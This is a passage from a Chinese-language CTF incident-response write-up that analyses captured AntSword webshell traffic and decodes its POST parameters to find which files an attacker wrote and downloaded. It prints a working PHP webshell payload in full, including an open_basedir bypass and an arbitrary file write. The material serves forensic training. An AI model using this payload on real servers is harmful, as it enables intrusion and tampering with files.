1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.368479785";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;functionasenc($out){return $out;};functionasoutput(){$output=ob_get_contents();ob_end_clean();echo"6960"."cb205";echo @asenc($output);echo"1e0a"."91914";}ob_start();try{$f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2));$c=$_POST["ld807e7193493d"];$c=str_replace("r","",$c);$c=str_replace("n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo"ERROR://".$e->getMessage();};asoutput();die();&ld807e7193493d=666C61677B77726974655F666C61677D0A&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==
从代码的最后也看出来确实是传输了文件,直接解码t41ffbc5fb0c04
的值就有文件名:/var/www/html/flag.txt
flag就是:flag{flag.txt}
5、蚁剑流量分析-5
黑客上传的文件内容是什么
那就恢复这个文件吧,文件的十六进制编码就在上个题的流量包中:ld807e7193493d=666C61677B77726974655F666C61677D0A
没必要保存成文件了,直接看到了:flag{write_flag}
6、蚁剑流量分析-6
黑客下载了哪个文件,提交文件绝对路径
追踪tcp流5号:
解码关键字:t41ffbc5fb0c04=2eL3Zhci93d3cvaHRtbC9jb25maWcucGhw
题目让提交绝对路径,flag就是:flag{/var/www/html/config.php}
五、solar杯
这个之前参加过比赛了,也写了writeup,链接:
https://mp.weixin.qq.com/s/wtZOyTt3qFNpbpnVmqBafA
原文始发于微信公众号(南有禾木):DIDCTF-应急响应
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论